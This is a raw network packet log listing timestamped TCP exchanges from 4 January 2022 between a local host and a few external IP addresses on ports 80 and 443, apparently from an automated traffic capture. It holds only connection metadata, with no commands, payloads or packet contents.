Jan 4, 2022 19:32:53.633740902 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633769989 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633820057 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633851051 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633883953 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633914948 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633929968 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633939028 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633945942 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633970022 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633980036 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634011030 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634042025 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634073973 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634087086 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634094954 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634105921 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634136915 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634166956 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634198904 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634212017 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634222031 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634229898 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634263039 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634293079 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634324074 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634325981 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634335995 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634355068 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634386063 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634414911 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634447098 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634458065 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634465933 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634480000 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634510994 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634540081 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.634582043 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.634592056 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.701966047 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702213049 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702295065 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702356100 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702444077 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.702471018 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.702646971 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702792883 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702843904 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702893972 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702944994 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.702980995 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.702991962 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.702995062 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703044891 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703097105 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703145981 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703166008 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.703195095 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703244925 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703284979 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.703294992 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.703295946 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703346968 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703394890 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703402042 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.703444958 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703495026 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703546047 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703597069 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703632116 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.703640938 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.703663111 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703712940 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703764915 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703788996 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.703797102 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.703814030 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703865051 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703917027 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.703968048 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704016924 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704045057 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.704051971 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.704070091 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704119921 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704169035 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704215050 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704268932 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704314947 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704320908 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.704329967 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.704370022 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704418898 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704468012 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704507113 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.704515934 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.704519033 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.704744101 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.771931887 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.771953106 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.771981001 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772002935 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772044897 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772062063 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772063971 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772085905 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772113085 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772147894 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772162914 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772165060 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772208929 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772233963 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772248030 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772269011 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772309065 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772339106 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772346973 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772350073 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772384882 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772422075 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772453070 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772459984 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772466898 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772480011 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772512913 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772551060 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772589922 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772607088 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772615910 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772627115 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772653103 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772675037 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772694111 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772716999 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772736073 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772738934 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772744894 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772751093 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772758007 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772775888 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772802114 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772819996 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772830963 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772840977 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772842884 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772878885 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772896051 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772917032 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772933006 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772933006 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.772954941 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772974968 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772994041 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.772995949 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.773005009 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.773020983 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.773040056 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.773049116 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.773070097 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.773077011 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.773367882 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.840830088 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841052055 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841254950 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841305971 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841356039 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841392994 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.841408014 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841419935 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.841459036 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841510057 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841542006 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.841559887 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841612101 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841650963 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.841661930 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841711998 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841762066 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841769934 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.841778040 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.841913939 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.841969013 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842082024 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842130899 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842133999 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842159986 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842184067 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842238903 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842273951 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842288971 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842325926 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842377901 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842416048 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842431068 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842437029 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842483997 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842544079 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842565060 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842596054 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842645884 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842688084 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842696905 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842750072 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842801094 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842858076 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842864037 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842868090 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.842878103 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842911005 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842941999 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.842979908 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843039036 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843091011 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843139887 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.843142033 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843190908 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843200922 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.843209982 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.843240976 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843291998 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843343019 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843389034 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.843489885 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.843596935 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.843678951 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.844000101 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.911132097 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.911155939 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.911181927 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.911613941 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.911649942 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.979037046 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:58.916178942 CET	49774	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:58.982086897 CET	80	49774	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:58.982209921 CET	49774	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:58.982321978 CET	49774	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:58.983925104 CET	49774	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.046845913 CET	80	49774	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.048403978 CET	80	49774	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.088953018 CET	80	49774	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.089095116 CET	49774	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.089334011 CET	49774	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.117656946 CET	49775	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.153769970 CET	80	49774	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.194051981 CET	80	49775	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.194154978 CET	49775	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.194320917 CET	49775	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.194341898 CET	49775	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.270571947 CET	80	49775	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.316813946 CET	80	49775	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.316916943 CET	49775	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.316955090 CET	49775	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.347218990 CET	49776	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.393229008 CET	80	49775	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.423152924 CET	80	49776	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.423248053 CET	49776	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.423502922 CET	49776	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.423528910 CET	49776	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.499320030 CET	80	49776	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.499376059 CET	80	49776	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.562897921 CET	80	49776	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.562994957 CET	49776	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.571274996 CET	49776	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.591372967 CET	49777	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.591423035 CET	443	49777	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.591546059 CET	49777	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.592566013 CET	49777	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.592588902 CET	443	49777	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.610012054 CET	443	49777	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.610323906 CET	49778	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.610367060 CET	443	49778	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.610447884 CET	49778	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.610814095 CET	49778	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.610843897 CET	443	49778	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.628191948 CET	443	49778	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.629456043 CET	49779	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.629537106 CET	443	49779	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.629961014 CET	49779	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.630304098 CET	49779	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.630372047 CET	443	49779	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.647737026 CET	443	49779	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.647937059 CET	80	49776	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.648061037 CET	49780	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.648113012 CET	443	49780	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.648307085 CET	49780	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.648638010 CET	49780	443	192.168.2.5	185.233.81.115
Jan 4, 2022 19:32:59.648669004 CET	443	49780	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.666037083 CET	443	49780	185.233.81.115	192.168.2.5
Jan 4, 2022 19:32:59.694257021 CET	49781	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.753798962 CET	80	49781	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.753920078 CET	49781	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.754043102 CET	49781	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.754060030 CET	49781	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.813301086 CET	80	49781	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.855696917 CET	80	49781	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.855854034 CET	49781	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.855907917 CET	49781	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.883976936 CET	49782	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.915340900 CET	80	49781	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.941296101 CET	80	49782	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:59.942037106 CET	49782	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.942194939 CET	49782	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.942233086 CET	49782	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:59.999309063 CET	80	49782	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.065402985 CET	80	49782	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.067640066 CET	49782	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.067863941 CET	49782	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.125121117 CET	80	49782	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.180577993 CET	49784	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:00.198828936 CET	80	49784	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:00.198961973 CET	49784	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:00.199086905 CET	49784	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:00.217150927 CET	80	49784	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:00.217200041 CET	80	49784	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:00.244409084 CET	49785	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.267265081 CET	49784	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:00.320573092 CET	80	49785	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.320977926 CET	49785	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.321024895 CET	49785	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.321039915 CET	49785	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.397368908 CET	80	49785	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.460103989 CET	80	49785	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.460186005 CET	49785	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.460237026 CET	49785	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.488920927 CET	49786	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.536322117 CET	80	49785	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.548361063 CET	80	49786	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.548588991 CET	49786	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.548863888 CET	49786	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.550136089 CET	49786	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.608246088 CET	80	49786	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.609397888 CET	80	49786	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.652301073 CET	80	49786	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.652523041 CET	49786	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.652555943 CET	49786	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.679792881 CET	49787	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.711905956 CET	80	49786	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.744422913 CET	80	49787	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.744596958 CET	49787	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.744723082 CET	49787	80	192.168.2.5	89.223.65.17
